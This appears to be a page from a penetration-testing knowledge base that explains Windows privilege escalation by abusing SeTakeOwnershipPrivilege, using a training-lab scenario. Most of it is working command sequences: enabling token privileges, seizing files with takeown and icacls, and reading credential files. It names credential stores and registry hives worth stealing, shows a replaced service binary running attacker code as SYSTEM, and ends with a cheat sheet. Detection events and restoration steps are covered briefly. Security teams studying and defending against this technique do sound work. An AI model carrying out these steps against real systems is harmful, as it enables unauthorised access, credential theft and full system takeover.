Skip to content

SeTakeOwnership

SeTakeOwnershipPrivilege lets the holder become the owner of any securable object (file, folder, registry key, service, AD object). The owner can modify the object’s DACL - so take ownership, grant yourself full control, then read or write the previously-inaccessible target. The privilege is Disabled by default in tokens that hold it; enable it programmatically before using takeown.

# Confirm the privilege is held (even if Disabled)
whoami /priv | findstr TakeOwnership
# Enable all token privileges (including SeTakeOwnership)
Import-Module .\EnableAllTokenPrivs.ps1
.\EnableAllTokenPrivs.ps1
# Take ownership of a target file
takeown /f "C:\Department Shares\Private\IT\cred.txt"
# Grant self full control via DACL
icacls "C:\Department Shares\Private\IT\cred.txt" /grant USERNAME:F
# Now readable
cat "C:\Department Shares\Private\IT\cred.txt"

Success indicator: reading the contents of a file the user couldn’t read before. Typical payoff: credentials inside the previously-inaccessible file.

SeTakeOwnershipPrivilege is held by Administrators by default. Outside that, it appears on:

  • Backup service accounts - Often granted alongside SeBackupPrivilege and SeRestorePrivilege to enable backup software to traverse files without full admin rights.
  • Specific operational accounts - Sysadmins create custom accounts with the privilege so application support staff can take ownership of stuck files without granting full admin.
  • Misconfigurations - Granted “temporarily” via local security policy or domain GPO and forgotten.

The discovery signal:

Terminal window
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ======================================================== ========
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

Disabled state is normal. The privilege is held; it just needs activation.

Windows file access decisions follow this logic at the kernel level:

  1. Is the requester the owner? Owners always have the implicit right to read the DACL and modify it (WRITE_DAC and READ_CONTROL).
  2. Does the DACL grant the requested access? Normal ACL evaluation.
  3. Deny ACEs override allow ACEs.

Step 1 is the relevant one. The owner of a file can always modify its DACL, even if the DACL itself denies that owner read access. The privilege escalation pattern exploits this:

  1. Take ownership (allowed by SeTakeOwnership regardless of current DACL).
  2. As owner, modify the DACL to grant yourself read access.
  3. Read the file with the newly-granted access.

The destructive aspect: original owner loses ownership. Original DACL is altered. Legitimate users of the file may experience access failures. Revert these changes after exploitation if the engagement requires undoing changes.

The privilege is held but Disabled in the token. Most exploitation tooling does this automatically; for manual operation, use a token-adjustment script.

The EnableAllTokenPrivs.ps1 script enables every privilege the current token holds:

Terminal window
PS> Import-Module .\Enable-Privilege.ps1
PS> .\EnableAllTokenPrivs.ps1
PS> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ======================================== =======
SeTakeOwnershipPrivilege Take ownership of files or other objects Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Enabled state means the privilege is active and any privileged operation (like takeown) will use it.

The script uses AdjustTokenPrivileges API via P/Invoke:

Terminal window
$privileges = New-Object TOKEN_PRIVILEGES
$privileges.PrivilegeCount = 1
$privileges.Privileges[0].Luid = $luid
$privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
AdjustTokenPrivileges(...)

The privilege exists in the token regardless of state - it can be enabled and disabled by the holder. Enable just before use, disable after if operational discipline requires it.

If you only want to enable one specific privilege rather than all of them, use a single-privilege variant:

Terminal window
function Enable-Privilege {
param([string]$Privilege)
$signature = '[DllImport("advapi32.dll", SetLastError = true)]public static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]public static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall, ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);'
# ... implementation
}
Enable-Privilege SeTakeOwnershipPrivilege

Useful when you don’t want to enable other privileges (some token-monitoring tools alert on broad enablement patterns).

Once the privilege is enabled, two built-in Windows commands accomplish the entire attack: takeown to change ownership, icacls to modify the DACL.

Common target file categories:

TargetWhy
cred.txt, passwords.txt, creds.xlsxSometimes literally credentials on a share
web.configIIS configuration, often has database connection strings with passwords
*.kdbxKeePass password database - extract hash, crack offline
*.configApp config files for various services
SSH keysid_rsa, *.ppk (PuTTY)
unattend.xml, sysprep.xmlWindows deployment configs, often plaintext local admin passwords
Registry hive backupsSAM, SYSTEM, SECURITY files in %WINDIR%\repair\ or %WINDIR%\System32\config\
Service binary pathsIf service runs as SYSTEM and the binary is replaceable

The original source-document example uses a file share C:\Department Shares\Private\IT\cred.txt. This pattern (a department share with a credentials file) is operationally common.

Get current state - owner, attributes, ACL:

Terminal window
PS> Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' |
Select-Object Fullname, LastWriteTime, Attributes, @{Name="Owner"; Expression={ (Get-Acl $_.FullName).Owner }}
FullName LastWriteTime Attributes Owner
-------- ------------- ---------- -----
C:\Department Shares\Private\IT\cred.txt 6/18/2021 12:23:28 PM Archive

The empty Owner field is a signal - the current user can’t read the object’s owner because the ACL doesn’t grant READ_CONTROL. Workaround: check the parent directory’s ownership:

Terminal window
C:\> cmd /c dir /q 'C:\Department Shares\Private\IT'
Directory of C:\Department Shares\Private\IT
06/18/2021 12:22 PM <DIR> WINLPE-SRV01\sccm_svc .
06/18/2021 12:22 PM <DIR> WINLPE-SRV01\sccm_svc ..
06/18/2021 12:23 PM 36 ... cred.txt

/q shows owner. WINLPE-SRV01\sccm_svc owns the parent directory - a service account, suggesting an automated process maintains this file. Useful context for understanding what you’re disrupting if you change ownership.

Terminal window
C:\> takeown /f "C:\Department Shares\Private\IT\cred.txt"
SUCCESS: The file (or folder): "C:\Department Shares\Private\IT\cred.txt" now owned by user "WINLPE-SRV01\htb-student".

The current user is now the file’s owner. Confirm:

Terminal window
PS> Get-ChildItem -Path 'C:\Department Shares\Private\IT\cred.txt' |
Select Name, Directory, @{Name="Owner"; Expression={(Get-ACL $_.Fullname).Owner}}
Name Directory Owner
---- --------- -----
cred.txt C:\Department Shares\Private\IT WINLPE-SRV01\htb-student

takeown flags worth knowing:

  • /f FILE - Target file. Required.
  • /r - Recurse. Apply to directory contents.
  • /d N - When recursing, default to Yes or No on prompts (/d Y is the unattended pattern).
  • /a - Take ownership for the Administrators group rather than the current user.

For directory operations: takeown /f C:\TargetDir /r /d Y.

Ownership alone doesn’t grant read - you can modify the DACL as owner, but you need to actually do so:

Terminal window
PS> cat 'C:\Department Shares\Private\IT\cred.txt'
cat : Access to the path 'C:\Department Shares\Private\IT\cred.txt' is denied.

Still denied because the DACL hasn’t been changed. Fix it:

Terminal window
C:\> icacls 'C:\Department Shares\Private\IT\cred.txt' /grant htb-student:F
processed file: C:\Department Shares\Private\IT\cred.txt
Successfully processed 1 files; Failed processing 0 files

/grant USERNAME:F adds a Full-Control ACE for the named user. Permission specifiers:

  • F - Full control
  • M - Modify (read + write + delete + change permissions)
  • RX - Read + execute
  • R - Read only
  • W - Write only

For read access, R is enough but F is convenient and gives you the option to modify the file later.

Terminal window
PS> cat 'C:\Department Shares\Private\IT\cred.txt'
NIX01 admin
root:n1X_p0wer_us3er!

The file is now readable. Contents typically include credentials that can be used for the next pivot - in this example, root:n1X_p0wer_us3er! for a Linux system named NIX01.

This is a destructive technique. The original owner loses ownership. The original DACL is modified. Effects on legitimate use:

  • The service account that owned the file may fail to process it next time
  • Backup jobs may report errors on this file
  • Auditing systems may alert on the ownership change
  • Other ACEs (deny rules, group permissions) may interact unexpectedly with your new owner status

For engagements that require minimal disruption or full restoration after testing:

  1. Document the original owner and DACL before any change (Get-Acl + save to file)
  2. Make the changes, read the file
  3. Restore the original ACL: icacls FILE /setowner ORIGINALOWNER then re-apply the original DACL
  4. Document the timeline in the engagement notes

For destructive engagements where stealth matters less than impact: don’t bother with restoration; the change is logged anyway.

Ownership changes are logged in the Security event log if Audit Object Access is enabled:

  • Event 4670 - “Permissions on an object were changed”
  • Event 4663 - “An attempt was made to access an object” (with TAKE_OWNERSHIP access)
  • Event 4907 - “Auditing settings on object were changed”

Most environments don’t have object-access auditing on for ordinary files (volume is too high). But high-value share locations sometimes do. Check before assuming silence.

What happens if the target has explicit deny ACEs

Section titled “What happens if the target has explicit deny ACEs”

SeTakeOwnership works regardless of the target’s DACL - but specific DACL configurations interact with this:

  • Explicit Deny for BUILTIN\Administrators - Doesn’t block SeTakeOwnership since you’re not currently an admin reading the file; you’re a non-admin taking ownership.
  • Explicit Deny for Everyone - Once you take ownership, you may still hit Deny ACEs when reading. Solution: remove the Deny ACE with icacls FILE /remove ....
  • Inherited Deny ACEs from parent - Inheritance can re-apply Deny rules after you change the file’s DACL. Disable inheritance: icacls FILE /inheritance:d.

The general pattern for stubborn ACLs:

Terminal window
C:\> takeown /f TARGET
C:\> icacls TARGET /inheritance:d
C:\> icacls TARGET /grant USERNAME:F
C:\> icacls TARGET /remove DENYPRINCIPAL

Beyond the simple cred.txt scenario, the privilege opens access to numerous high-value targets.

C:\inetpub\wwwroot\web.config ← IIS app configuration; SQL connection strings
C:\inetpub\wwwroot\<app>\appsettings.json ← .NET Core; API keys, DB strings

The web.config file often contains <connectionString> elements with database credentials. After taking ownership and granting access:

Terminal window
C:\> findstr /i "password\|connectionstring" C:\inetpub\wwwroot\web.config
<connectionString>"Server=db01;Database=AppDB;User Id=appuser;Password=SecretP@ss123;"</connectionString>

Windows deployment leaves credentials in unattended-install XML files. Common locations:

C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\System32\Sysprep\sysprep.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\unattend.xml

These XML files contain <AutoLogon> blocks with plaintext or base64-encoded passwords for local admin accounts.

%USERPROFILE%\Documents\*.kdbx ← KeePass 2.x database
%USERPROFILE%\AppData\Local\1Password\* ← 1Password local cache

Take ownership, copy off-host, extract the database master-password hash with keepass2john, crack with hashcat mode 13400. See the credential-hunting round for the full chain.

Windows keeps backups of registry hives in C:\Windows\repair\:

C:\Windows\repair\SAM
C:\Windows\repair\SYSTEM
C:\Windows\repair\SECURITY

These are usually outdated (from when the system was installed) but contain the original local administrator hash. Take ownership of SAM and SYSTEM, copy off-host, run secretsdump.py -sam SAM -system SYSTEM LOCAL.

The live versions at C:\Windows\System32\config\ are normally locked but may also be accessible - try reg save HKLM\SAM SAM.SAV first (less destructive than ownership change).

%USERPROFILE%\.ssh\id_rsa
%USERPROFILE%\.ssh\id_ecdsa
%USERPROFILE%\.ssh\config

Or PuTTY format:

%USERPROFILE%\*.ppk

Private keys ferry lateral movement to Linux hosts the user has SSH’d into.

A service runs as SYSTEM with its binary at C:\Program Files\AppX\service.exe. The binary is owned by TrustedInstaller and unwritable by users. With SeTakeOwnership:

Terminal window
C:\> takeown /f "C:\Program Files\AppX\service.exe"
C:\> icacls "C:\Program Files\AppX\service.exe" /grant USERNAME:F
C:\> copy malicious.exe "C:\Program Files\AppX\service.exe"
C:\> sc stop AppX && sc start AppX

The service restarts running attacker-controlled code as SYSTEM. This is broadly destructive (the legitimate service is gone) but effective.

Domain group policies sometimes embed credentials in XML files in SYSVOL:

\\domain\SYSVOL\domain\Policies\{GUID}\Machine\Preferences\Groups\Groups.xml

If SeTakeOwnership extends to file shares (which it can, with appropriate domain rights), these contain cpassword AES-encrypted blobs that can be decrypted offline with public keys. Microsoft published the AES key for this in MSDN, making “GPP password decryption” a one-liner.

TaskPattern
Confirm SeTakeOwnership heldwhoami /priv | findstr TakeOwnership
Enable all held privilegesImport-Module .\EnableAllTokenPrivs.ps1; .\EnableAllTokenPrivs.ps1
Check file ownershipGet-ChildItem PATH | Select Name, @{Name="Owner";Expression={(Get-Acl $_.FullName).Owner}}
Check parent dir ownershipcmd /c dir /q PATH
Take ownership of filetakeown /f PATH
Take ownership recursivelytakeown /f PATH /r /d Y
Take ownership as Administratorstakeown /f PATH /a
Grant self full controlicacls PATH /grant USERNAME:F
Grant self read-onlyicacls PATH /grant USERNAME:R
Disable inheritanceicacls PATH /inheritance:d
Remove Deny ACEicacls PATH /remove:d PRINCIPAL
Restore original ownericacls PATH /setowner ORIGINALOWNER
Common credential targets*.kdbx, web.config, unattend.xml, *.ppk, id_rsa, SAM, SYSTEM, *.txt with creds
Detection event IDs4670 (permission change), 4663 (object access), 4907 (audit settings)
Restoration workflowSave Get-Acl output → modify → read → restore Acl → restore owner

For broader file-access scenarios where SeBackupPrivilege is more appropriate (any file regardless of DACL), see Backup Operators. For escalation via process memory rather than files, see SeDebugPrivilege. For token-impersonation, see SeImpersonate.

Defenses D3-FAC